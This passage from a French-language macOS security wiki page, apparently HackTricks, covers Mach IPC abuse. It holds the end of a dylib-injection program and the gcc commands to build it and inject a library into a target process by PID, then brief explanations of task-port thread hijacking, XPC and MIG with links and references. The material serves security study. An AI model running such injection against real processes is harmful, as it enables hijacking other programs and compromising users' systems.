struct stat buf;

int rc = stat (action, &buf);
if (rc == 0) inject(pid,action);
else
{
fprintf(stderr,"Dylib not found\n");
}

}
```
</details>
```bash
gcc -framework Foundation -framework Appkit dylib_injector.m -o dylib_injector
./inject <pid-of-mysleep> </path/to/lib.dylib>
```
### Détournement de thread via le port de tâche <a href="#step-1-thread-hijacking" id="step-1-thread-hijacking"></a>

Dans cette technique, un thread du processus est détourné :

{% content-ref url="../../macos-proces-abuse/macos-ipc-inter-process-communication/macos-thread-injection-via-task-port.md" %}
[macos-thread-injection-via-task-port.md](../../macos-proces-abuse/macos-ipc-inter-process-communication/macos-thread-injection-via-task-port.md)
{% endcontent-ref %}

## XPC

### Informations de base

XPC, qui signifie XNU (le noyau utilisé par macOS) Inter-Process Communication, est un framework pour **la communication entre les processus** sur macOS et iOS. XPC fournit un mécanisme pour effectuer des **appels de méthode asynchrones et sécurisés entre différents processus** sur le système. Il fait partie du paradigme de sécurité d'Apple, permettant la **création d'applications avec des privilèges séparés** où chaque **composant** s'exécute avec **seulement les autorisations nécessaires** pour effectuer son travail, limitant ainsi les dommages potentiels d'un processus compromis.

Pour plus d'informations sur le fonctionnement de cette **communication** et sur la manière dont elle **pourrait être vulnérable**, consultez :

{% content-ref url="../../macos-proces-abuse/macos-ipc-inter-process-communication/macos-xpc/" %}
[macos-xpc](../../macos-proces-abuse/macos-ipc-inter-process-communication/macos-xpc/)
{% endcontent-ref %}

## MIG - Générateur d'interface Mach

MIG a été créé pour **simplifier le processus de création de code Mach IPC**. Il génère essentiellement le code nécessaire pour que le serveur et le client communiquent avec une définition donnée. Même si le code généré est moche, un développeur n'aura qu'à l'importer et son code sera beaucoup plus simple qu'auparavant.

Pour plus d'informations, consultez :

{% content-ref url="../../macos-proces-abuse/macos-ipc-inter-process-communication/macos-mig-mach-interface-generator.md" %}
[macos-mig-mach-interface-generator.md](../../macos-proces-abuse/macos-ipc-inter-process-communication/macos-mig-mach-interface-generator.md)
{% endcontent-ref %}

## Références

* [https://docs.darlinghq.org/internals/macos-specifics/mach-ports.html](https://docs.darlinghq.org/internals/macos-specifics/mach-ports.html)
* [https://knight.sc/malware/2019/03/15/code-injection-on-macos.html](https://knight.sc/malware/2019/03/15/code-injection-on-macos.html)
* [https://gist.github.com/knightsc/45edfc4903a9d2fa9f5905f60b02ce5a](https://gist.github.com/knightsc/45edfc4903a9d2fa9f5905f60b02ce5a)
* [https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing/](https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing/)
* [https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing/](https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing/)

<details>

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